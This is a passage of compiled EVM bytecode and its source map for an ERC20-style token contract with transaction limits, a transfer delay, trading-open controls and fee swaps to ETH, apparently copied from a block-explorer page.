16737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556106699030906001600160a01b031661065b6009600a6119e9565b61041290633b9aca00611aba565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b757600080fd5b505afa1580156106cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ef9190611417565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561074c57600080fd5b505afa158015610760573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107849190611417565b6040518363ffffffff1660e01b81526004016107a1929190611537565b602060405180830381600087803b1580156107bb57600080fd5b505af11580156107cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f39190611417565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60115481565b60065460ff1681565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6108576109fa565b6000546001600160a01b039081169116146108845760405162461bcd60e51b81526004016104779061176f565b601454600160a01b900460ff16156108ae5760405162461bcd60e51b8152600401610477906118ad565b6013546001600160a01b031663f305d71947306108ca81610427565b6000806108d561059b565b426040518863ffffffff1660e01b81526004016108f79695949392919061156a565b6060604051808303818588803b15801561091057600080fd5b505af1158015610924573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094991906114f6565b505060145460135460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b39261098392169060001990600401611551565b602060405180830381600087803b15801561099d57600080fd5b505af11580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d591906114d6565b506014805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b3390565b6001600160a01b038316610a245760405162461bcd60e51b815260040161047790611869565b6001600160a01b038216610a4a5760405162461bcd60e51b81526004016104779061167d565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610aa59085906118e4565b60405180910390a3505050565b6001600160a01b038316610ad85760405162461bcd60e51b8152600401610477906117ed565b6001600160a01b038216610afe5760405162461bcd60e51b815260040161047790611603565b60008111610b1e5760405162461bcd60e51b8152600401610477906117a4565b601454600160b01b900460ff161580610b405750601454600160a81b900460ff165b15610bf8576001600160a01b038316600090815260016020526040902054610b69908290611ad9565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b9990829061196b565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610beb9085906118e4565b60405180910390a3610e6e565b610c0061059b565b6001600160a01b0316836001600160a01b031614158015610c3a5750610c2461059b565b6001600160a01b0316826001600160a01b031614155b15610e585760065460ff1615610cbc576013546001600160a01b03838116911614801590610c7657506014546001600160a01b03838116911614155b15610cbc57326000908152600560205260409020544311610ca95760405162461bcd60e51b8152600401610477906116bf565b3260009081526005602052604090204390555b6014546001600160a01b038481169116148015610ce757506013546001600160a01b03838116911614155b8015610d0c57506001600160a01b03821660009081526003602052604090205460ff16155b15610d7e57600f54811115610d335760405162461bcd60e51b815260040161047790611646565b60105481610d4084610427565b610d4a919061196b565b1115610d685760405162461bcd60e51b815260040161047790611832565b600e8054906000610d7883611af0565b91905055505b6000610d8930610427565b601454909150600160a81b900460ff16158015610db357506014546001600160a01b038481169116145b8015610dc85750601454600160b01b900460ff165b8015610dd75750600d54600e54115b8015610dfc57506001600160a01b03841660009081526003602052604090205460ff16155b8015610e2157506001600160a01b03831660009081526003602052604090205460ff16155b15610e5657601154811115610e4d57610e4d610e4883610e4384601254610ead565b610ead565b610ec2565b610e5647611067565b505b610e6e838383610e698787876110a9565b6110f8565b505050565b60008184841115610e975760405162461bcd60e51b815260040161047791906115b0565b506000610ea48486611ad9565b95945050505050565b6000818311610ebc578261041b565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f1857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f6c57600080fd5b505afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190611417565b81600181518110610fc557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601354610feb91309116846109fe565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906110249085906000908690309042906004016118ed565b600060405180830381600087803b15801561103e57600080fd5b505af1158015611052573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156110a5573d6000803e3d6000fd5b5050565b6000806110b685856112c5565b156110f05760016110c7848261196b565b6110d19190611ad9565b6110dc82600161196b565b6110e69190611aba565b610ea4908261196b565b949350505050565b60006111266064611120600b54600e541161111557600754611119565b6009545b8690611304565b90611349565b6014549091506001600160a01b03858116911614801561114f57506001600160a01b0385163014155b1561117c576111796064611120600c54600e541161116f57600854611119565b600a548690611304565b90505b80156111f5573060009081526001602052604090205461119d90829061196b565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111ec9085906118e4565b60405180910390a35b6001600160a01b038516600090815260016020526040902054611219908390611ad9565b6001600160a01b03861660009081526001602052604090205561123c838261138b565b6001600160a01b03851660009081526001602052604090205461125f919061196b565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112a9868561138b565b6040516112b691906118e4565b60405180910390a35050505050565b6006546000906001600160a01b036101009091048116908416811480156112f557506001600160a01b0383163014155b1561041757600091505061036d565b6000826113135750600061036d565b600061131f8385611aba565b90508261132c8583611983565b1461041b5760405162461bcd60e51b81526004016104779061172e565b600061041b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113cd565b600061041b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e73565b600081836113ee5760405162461bcd60e51b815260040161047791906115b0565b506000610ea48486611983565b60006020828403121561140c578081fd5b813561041b81611b21565b600060208284031215611428578081fd5b815161041b81611b21565b60008060408385031215611445578081fd5b823561145081611b21565b9150602083013561146081611b21565b809150509250929050565b60008060006060848603121561147f578081fd5b833561148a81611b21565b9250602084013561149a81611b21565b929592945050506040919091013590565b600080604083850312156114bd578182fd5b82356114c881611b21565b946020939093013593505050565b6000602082840312156114e7578081fd5b8151801515811461041b578182fd5b60008060006060848603121561150a578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156115dc578581018301518582016040015282016115c0565b818111156115ed5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561193c5784516001600160a01b031683529383019391830191600101611917565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561197e5761197e611b0b565b500190565b60008261199e57634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116119b557506119e0565b8187048211156119c7576119c7611b0b565b808616156119d457918102915b9490941c9380026119a6565b94509492505050565b600061041b60001960ff851684600082611a055750600161041b565b81611a125750600061041b565b8160018114611a285760028114611a3257611a5f565b600191505061041b565b60ff841115611a4357611a43611b0b565b6001841b915084821115611a5957611a59611b0b565b5061041b565b5060208310610133831016604e8410600b8410161715611a92575081810a83811115611a8d57611a8d611b0b565b61041b565b611a9f84848460016119a3565b808604821115611ab157611ab1611b0b565b02949350505050565b6000816000190483118215151615611ad457611ad4611b0b565b500290565b600082821015611aeb57611aeb611b0b565b500390565b6000600019821415611b0457611b04611b0b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611b3657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122066758fa4e8ebb1e1de4e2c53ebcd6939fa866b755e3419a7ed67b50c9e59526e64736f6c63430008010033
Deployed Bytecode Sourcemap
3951:9505:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6327:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8936:186;;;;;;;;;;-1:-1:-1;8936:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5170:55::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6604:95::-;;;;;;;;;;;;;:::i;7210:446::-;;;;;;;;;;-1:-1:-1;7210:446:0;;;;;:::i;:::-;;:::i;6513:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6707:119::-;;;;;;;;;;-1:-1:-1;6707:119:0;;;;;:::i;:::-;;:::i;3133:148::-;;;;;;;;;;;;;:::i;:::-;;12626:201;;;;;;;;;;;;;:::i;4979:56::-;;;;;;;;;;;;;:::i;2919:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5042:58::-;;;;;;;;;;;;;:::i;6418:87::-;;;;;;;;;;;;;:::i;6834:192::-;;;;;;;;;;-1:-1:-1;6834:192:0;;;;;:::i;:::-;;:::i;5929:390::-;;;;;;;;;;;;;:::i;5107:56::-;;;;;;;;;;;;;:::i;4333:40::-;;;;;;;;;;;;;:::i;7034:168::-;;;;;;;;;;-1:-1:-1;7034:168:0;;;;;:::i;:::-;;:::i;12835:481::-;;;;;;;;;;;;;:::i;6327:83::-;6397:5;;;;;;;;;;;;-1:-1:-1;;;6397:5:0;;;;6327:83;:::o;8936:186::-;9036:4;9053:39;9062:12;:10;:12::i;:::-;9076:7;9085:6;9053:8;:39::i;:::-;-1:-1:-1;9110:4:0;8936:186;;;;;:::o;5170:55::-;;;;:::o;6604:95::-;6657:7;4849:15;4793:1;4849:2;:15;:::i;:::-;4836:28;;:10;:28;:::i;:::-;6677:14;;6604:95;:::o;7210:446::-;7342:4;7359:36;7369:6;7377:9;7388:6;7359:9;:36::i;:::-;7406:220;7429:6;7450:12;:10;:12::i;:::-;7477:138;7533:6;7477:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7477:19:0;;;;;;:11;:19;;;;;;7497:12;:10;:12::i;:::-;-1:-1:-1;;;;;7477:33:0;;;;;;;;;;;;-1:-1:-1;7477:33:0;;;:138;:37;:138::i;:::-;7406:8;:220::i;:::-;-1:-1:-1;7644:4:0;7210:446;;;;;;:::o;6513:83::-;4793:1;6513:83;:::o;6707:119::-;-1:-1:-1;;;;;6800:18:0;6773:7;6800:18;;;:9;:18;;;;;;;6707:119::o;3133:148::-;3056:12;:10;:12::i;:::-;3046:6;;-1:-1:-1;;;;;3046:6:0;;;:22;;;3038:67;;;;-1:-1:-1;;;3038:67:0;;;;;;;:::i;:::-;;;;;;;;;3240:1:::1;3224:6:::0;;3203:40:::1;::::0;-1:-1:-1;;;;;3224:6:0;;::::1;::::0;3203:40:::1;::::0;3240:1;;3203:40:::1;3271:1;3254:19:::0;;-1:-1:-1;;;;;;3254:19:0::1;::::0;;3133:148::o;12626:201::-;3056:12;:10;:12::i;:::-;3046:6;;-1:-1:-1;;;;;3046:6:0;;;:22;;;3038:67;;;;-1:-1:-1;;;3038:67:0;;;;;;;:::i;:::-;4849:15:::1;4793:1;4849:2;:15;:::i;:::-;4836:28;::::0;:10:::1;:28;:::i;:::-;12680:12;:22:::0;4849:15:::1;4793:1;4849:2;:15;:::i;:::-;4836:28;::::0;:10:::1;:28;:::i;:::-;12713:14;:24:::0;12748:20:::1;:28:::0;;-1:-1:-1;;12748:28:0::1;::::0;;12792:27:::1;4849:15;4793:1;-1:-1:-1::0;4849:15:0::1;:::i;:::-;4836:28;::::0;:10:::1;:28;:::i;:::-;12792:27;;;;;;:::i;:::-;;;;;;;;12626:201::o:0;4979:56::-;;;;:::o;2919:79::-;2957:7;2984:6;-1:-1:-1;;;;;2984:6:0;2919:79;:::o;5042:58::-;;;;:::o;6418:87::-;6490:7;;;;;;;;;;;;-1:-1:-1;;;6490:7:0;;;;6418:87;:::o;6834:192::-;6937:4;6954:42;6964:12;:10;:12::i;:::-;6978:9;6989:6;6954:9;:42::i;5929:390::-;3056:12;:10;:12::i;:::-;3046:6;;-1:-1:-1;;;;;3046:6:0;;;:22;;;3038:67;;;;-1:-1:-1;;;3038:67:0;;;;;;;:::i;:::-;5980:15:::1;:104:::0;;-1:-1:-1;;;;;;5980:104:0::1;6031:42;5980:104;::::0;;;;6095:58:::1;::::0;6112:4:::1;::::0;-1:-1:-1;;;;;6127:15:0::1;4849;4793:1;4849:2;:15;:::i;:::-;4836:28;::::0;:10:::1;:28;:::i;6095:58::-;6198:15;;;;;;;;;-1:-1:-1::0;;;;;6198:15:0::1;-1:-1:-1::0;;;;;6198:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6180:55:0::1;;6258:4;6278:15;;;;;;;;;-1:-1:-1::0;;;;;6278:15:0::1;-1:-1:-1::0;;;;;6278:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6180:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6164:13;:147:::0;;-1:-1:-1;;;;;;6164:147:0::1;-1:-1:-1::0;;;;;6164:147:0;;;::::1;::::0;;;::::1;::::0;;5929:390::o;5107:56::-;;;;:::o;4333:40::-;;;;;;:::o;7034:168::-;-1:-1:-1;;;;;7167:18:0;;;7140:7;7167:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7034:168::o;12835:481::-;3056:12;:10;:12::i;:::-;3046:6;;-1:-1:-1;;;;;3046:6:0;;;:22;;;3038:67;;;;-1:-1:-1;;;3038:67:0;;;;;;;:::i;:::-;12895:11:::1;::::0;-1:-1:-1;;;12895:11:0;::::1;;;12894:12;12886:48;;;;-1:-1:-1::0;;;12886:48:0::1;;;;;;;:::i;:::-;12945:15;::::0;-1:-1:-1;;;;;12945:15:0::1;:31;12984:21;13029:4;13049:24;13029:4:::0;13049:9:::1;:24::i;:::-;13088:1;13104::::0;13120:7:::1;:5;:7::i;:::-;13142:15;12945:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13186:13:0::1;::::0;13217:15:::1;::::0;13179:71:::1;::::0;-1:-1:-1;;;13179:71:0;;-1:-1:-1;;;;;13186:13:0;;::::1;::::0;-1:-1:-1;13179:29:0::1;::::0;:71:::1;::::0;13217:15:::1;::::0;-1:-1:-1;;13235:14:0;13179:71:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13261:11:0::1;:18:::0;;-1:-1:-1;;;;;;;;13261:18:0;;::::1;-1:-1:-1::0;;;13261:18:0::1;13290;-1:-1:-1::0;;;13290:18:0::1;::::0;;12835:481::o;315:98::-;395:10;315:98;:::o;7664:335::-;-1:-1:-1;;;;;7757:19:0;;7749:68;;;;-1:-1:-1;;;7749:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7836:21:0;;7828:68;;;;-1:-1:-1;;;7828:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7907:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7959:32;;;;;7937:6;;7959:32;:::i;:::-;;;;;;;;7664:335;;;:::o;9130:2346::-;-1:-1:-1;;;;;9223:18:0;;9215:68;;;;-1:-1:-1;;;9215:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9302:16:0;;9294:64;;;;-1:-1:-1;;;9294:64:0;;;;;;;:::i;:::-;9391:1;9377:11;:15;9369:69;;;;-1:-1:-1;;;9369:69:0;;;;;;;:::i;:::-;9454:11;;-1:-1:-1;;;9454:11:0;;;;9453:12;;:22;;-1:-1:-1;9469:6:0;;-1:-1:-1;;;9469:6:0;;;;9453:22;9449:232;;;-1:-1:-1;;;;;9510:15:0;;;;;;:9;:15;;;;;;:29;;9528:11;;9510:29;:::i;:::-;-1:-1:-1;;;;;9492:15:0;;;;;;;:9;:15;;;;;;:47;;;;9570:13;;;;;;;:27;;9586:11;;9570:27;:::i;:::-;-1:-1:-1;;;;;9554:13:0;;;;;;;:9;:13;;;;;;;:43;;;;9617:31;;;;;;;;;;9636:11;;9617:31;:::i;:::-;;;;;;;;9663:7;;9449:232;9703:7;:5;:7::i;:::-;-1:-1:-1;;;;;9695:15:0;:4;-1:-1:-1;;;;;9695:15:0;;;:32;;;;;9720:7;:5;:7::i;:::-;-1:-1:-1;;;;;9714:13:0;:2;-1:-1:-1;;;;;9714:13:0;;;9695:32;9691:1691;;;9748:20;;;;9744:522;;;9829:15;;-1:-1:-1;;;;;9815:30:0;;;9829:15;;9815:30;;;;:83;;-1:-1:-1;9884:13:0;;-1:-1:-1;;;;;9870:28:0;;;9884:13;;9870:28;;9815:83;9789:462;;;10004:9;9975:39;;;;:28;:39;;;;;;10017:12;-1:-1:-1;9941:213:0;;;;-1:-1:-1;;;9941:213:0;;;;;;;:::i;:::-;10206:9;10177:39;;;;:28;:39;;;;;10219:12;10177:54;;9789:462;10312:13;;-1:-1:-1;;;;;10304:21:0;;;10312:13;;10304:21;:72;;;;-1:-1:-1;10360:15:0;;-1:-1:-1;;;;;10346:30:0;;;10360:15;;10346:30;;10304:72;:116;;;;-1:-1:-1;;;;;;10398:22:0;;;;;;:18;:22;;;;;;;;10397:23;10304:116;10282:448;;;10478:12;;10463:11;:27;;10455:65;;;;-1:-1:-1;;;10455:65:0;;;;;;;:::i;:::-;10600:14;;10585:11;10569:13;10579:2;10569:9;:13::i;:::-;:27;;;;:::i;:::-;:45;;10539:145;;;;-1:-1:-1;;;10539:145:0;;;;;;;:::i;:::-;10703:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10282:448;10746:28;10777:24;10795:4;10777:9;:24::i;:::-;10839:6;;10746:55;;-1:-1:-1;;;;10839:6:0;;;;10838:7;:47;;;;-1:-1:-1;10872:13:0;;-1:-1:-1;;;;;10866:19:0;;;10872:13;;10866:19;10838:47;:79;;;;-1:-1:-1;10906:11:0;;-1:-1:-1;;;10906:11:0;;;;10838:79;:130;;;;;10950:18;;10938:9;;:30;10838:130;:176;;;;-1:-1:-1;;;;;;10990:24:0;;;;;;:18;:24;;;;;;;;10989:25;10838:176;:220;;;;-1:-1:-1;;;;;;11036:22:0;;;;;;:18;:22;;;;;;;;11035:23;10838:220;10816:555;;;11119:17;;11096:20;:40;11093:209;;;11160:122;11203:56;11207:11;11220:38;11224:20;11246:11;;11220:3;:38::i;:::-;11203:3;:56::i;:::-;11160:16;:122::i;:::-;11320:35;11333:21;11320:12;:35::i;:::-;9691:1691;;11394:74;11409:4;11415:2;11419:11;11432:35;11445:4;11451:2;11455:11;11432:12;:35::i;:::-;11394:14;:74::i;:::-;9130:2346;;;:::o;775:224::-;895:7;931:12;923:6;;;;915:29;;;;-1:-1:-1;;;915:29:0;;;;;;;;:::i;:::-;-1:-1:-1;955:9:0;967:5;971:1;967;:5;:::i;:::-;955:17;775:224;-1:-1:-1;;;;;775:224:0:o;12511:107::-;12568:7;12600:1;12596;:5;12595:15;;12609:1;12595:15;;;-1:-1:-1;12605:1:0;12588:22;-1:-1:-1;12511:107:0:o;11484:483::-;5509:6;:13;;-1:-1:-1;;;;5509:13:0;-1:-1:-1;;;5509:13:0;;;11586:16:::1;::::0;;11600:1:::1;11586:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11586:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11586:16:0::1;11562:40;;11631:4;11613;11618:1;11613:7;;;;;;-1:-1:-1::0;;;11613:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;11613:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11657:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11657:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11613:7;;11657:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11647:4;11652:1;11647:7;;;;;;-1:-1:-1::0;;;11647:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;11647:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11722:15:::1;::::0;11690:62:::1;::::0;11707:4:::1;::::0;11722:15:::1;11740:11:::0;11690:8:::1;:62::i;:::-;11763:15;::::0;:196:::1;::::0;-1:-1:-1;;;11763:196:0;;-1:-1:-1;;;;;11763:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11844:11;;11763:15:::1;::::0;11886:4;;11913::::1;::::0;11933:15:::1;::::0;11763:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5545:6:0;:14;;-1:-1:-1;;;;5545:14:0;;;-1:-1:-1;;;;11484:483:0:o;13361:92::-;13418:10;;:27;;:10;;;;-1:-1:-1;;;;;13418:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;13361:92;:::o;11975:276::-;12060:7;12080:19;12113:22;12126:4;12132:2;12113:12;:22::i;:::-;12110:105;;;12201:1;12188:10;:6;12201:1;12188:10;:::i;:::-;:14;;;;:::i;:::-;12168:15;:11;12182:1;12168:15;:::i;:::-;12167:36;;;;:::i;:::-;12152:51;;;;:::i;12110:105::-;12232:11;11975:276;-1:-1:-1;;;;11975:276:0:o;8007:921::-;8118:17;8138:110;8244:3;8138:87;8176:15;;8164:9;;:27;8163:61;;8210:14;;8163:61;;;8195:12;;8163:61;8138:6;;:24;:87::i;:::-;:105;;:110::i;:::-;8269:13;;8118:130;;-1:-1:-1;;;;;;8263:19:0;;;8269:13;;8263:19;:44;;;;-1:-1:-1;;;;;;8286:21:0;;8302:4;8286:21;;8263:44;8259:300;;;8336:211;8543:3;8336:184;8400:16;;8388:9;;:28;8387:114;;8486:15;;8387:114;;;8445:13;;8336:6;;:28;:184::i;:211::-;8324:223;;8259:300;8575:13;;8571:169;;8650:4;8632:24;;;;:9;:24;;;;;;:36;;8659:9;;8632:36;:::i;:::-;8623:4;8605:24;;;;:9;:24;;;;;;;:63;;;;8688:40;;-1:-1:-1;;;;;8688:40:0;;;;;;;8718:9;;8688:40;:::i;:::-;;;;;;;;8571:169;-1:-1:-1;;;;;8770:15:0;;;;;;:9;:15;;;;;;:29;;8788:11;;8770:29;:::i;:::-;-1:-1:-1;;;;;8752:15:0;;;;;;:9;:15;;;;;:47;8842:21;:6;8853:9;8842:10;:21::i;:::-;-1:-1:-1;;;;;8826:13:0;;;;;;:9;:13;;;;;;:37;;;;:::i;:::-;-1:-1:-1;;;;;8810:13:0;;;;;;;:9;:13;;;;;:53;;;;8879:41;;;8898:21;:6;8909:9;8898:10;:21::i;:::-;8879:41;;;;;;:::i;:::-;;;;;;;;8007:921;;;;;:::o;12259:244::-;12367:10;;12334:4;;-1:-1:-1;;;;;12367:10:0;;;;;;;12391:16;;;;:43;;;;-1:-1:-1;;;;;;12411:23:0;;12429:4;12411:23;;12391:43;12388:86;;;12457:5;12450:12;;;;;1007:246;1065:7;1089:6;1085:47;;-1:-1:-1;1119:1:0;1112:8;;1085:47;1142:9;1154:5;1158:1;1154;:5;:::i;:::-;1142:17;-1:-1:-1;1187:1:0;1178:5;1182:1;1142:17;1178:5;:::i;:::-;:10;1170:56;;;;-1:-1:-1;;;1170:56:0;;;;;;;:::i;1261:132::-;1319:7;1346:39;1350:1;1353;1346:39;;;;;;;;;;;;;;;;;:3;:39::i;631:136::-;689:7;716:43;720:1;723;716:43;;;;;;;;;;;;;;;;;:3;:43::i;1401:223::-;1521:7;1556:12;1549:5;1541:28;;;;-1:-1:-1;;;1541:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1580:9:0;1592:5;1596:1;1592;:5;:::i;14:259:1:-;;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:33;237:5;210:33;:::i;278:263::-;;401:2;389:9;380:7;376:23;372:32;369:2;;;422:6;414;407:22;369:2;459:9;453:16;478:33;505:5;478:33;:::i;546:402::-;;;675:2;663:9;654:7;650:23;646:32;643:2;;;696:6;688;681:22;643:2;740:9;727:23;759:33;786:5;759:33;:::i;:::-;811:5;-1:-1:-1;868:2:1;853:18;;840:32;881:35;840:32;881:35;:::i;:::-;935:7;925:17;;;633:315;;;;;:::o;953:470::-;;;;1099:2;1087:9;1078:7;1074:23;1070:32;1067:2;;;1120:6;1112;1105:22;1067:2;1164:9;1151:23;1183:33;1210:5;1183:33;:::i;:::-;1235:5;-1:-1:-1;1292:2:1;1277:18;;1264:32;1305:35;1264:32;1305:35;:::i;:::-;1057:366;;1359:7;;-1:-1:-1;;;1413:2:1;1398:18;;;;1385:32;;1057:366::o;1428:327::-;;;1557:2;1545:9;1536:7;1532:23;1528:32;1525:2;;;1578:6;1570;1563:22;1525:2;1622:9;1609:23;1641:33;1668:5;1641:33;:::i;:::-;1693:5;1745:2;1730:18;;;;1717:32;;-1:-1:-1;;;1515:240:1:o;1760:297::-;;1880:2;1868:9;1859:7;1855:23;1851:32;1848:2;;;1901:6;1893;1886:22;1848:2;1938:9;1932:16;1991:5;1984:13;1977:21;1970:5;1967:32;1957:2;;2018:6;2010;2003:22;2062:316;;;;2219:2;2207:9;2198:7;2194:23;2190:32;2187:2;;;2240:6;2232;2225:22;2187:2;2274:9;2268:16;2258:26;;2324:2;2313:9;2309:18;2303:25;2293:35;;2368:2;2357:9;2353:18;2347:25;2337:35;;2177:201;;;;;:::o;2383:203::-;-1:-1:-1;;;;;2547:32:1;;;;2529:51;;2517:2;2502:18;;2484:102::o;2591:304::-;-1:-1:-1;;;;;2821:15:1;;;2803:34;;2873:15;;2868:2;2853:18;;2846:43;2753:2;2738:18;;2720:175::o;2900:274::-;-1:-1:-1;;;;;3092:32:1;;;;3074:51;;3156:2;3141:18;;3134:34;3062:2;3047:18;;3029:145::o;3179:607::-;-1:-1:-1;;;;;3538:15:1;;;3520:34;;3585:2;3570:18;;3563:34;;;;3628:2;3613:18;;3606:34;;;;3671:2;3656:18;;3649:34;;;;3720:15;;;3714:3;3699:19;;3692:44;3500:3;3752:19;;3745:35;;;;3469:3;3454:19;;3436:350::o;3791:187::-;3956:14;;3949:22;3931:41;;3919:2;3904:18;;3886:92::o;3983:603::-;;4124:2;4153;4142:9;4135:21;4185:6;4179:13;4228:6;4223:2;4212:9;4208:18;4201:34;4253:4;4266:140;4280:6;4277:1;4274:13;4266:140;;;4375:14;;;4371:23;;4365:30;4341:17;;;4360:2;4337:26;4330:66;4295:10;;4266:140;;;4424:6;4421:1;4418:13;4415:2;;;4494:4;4489:2;4480:6;4469:9;4465:22;4461:31;4454:45;4415:2;-1:-1:-1;4570:2:1;4549:15;-1:-1:-1;;4545:29:1;4530:45;;;;4577:2;4526:54;;4104:482;-1:-1:-1;;;4104:482:1:o;4591:399::-;4793:2;4775:21;;;4832:2;4812:18;;;4805:30;4871:34;4866:2;4851:18;;4844:62;-1:-1:-1;;;4937:2:1;4922:18;;4915:33;4980:3;4965:19;;4765:225::o;4995:349::-;5197:2;5179:21;;;5236:2;5216:18;;;5209:30;5275:2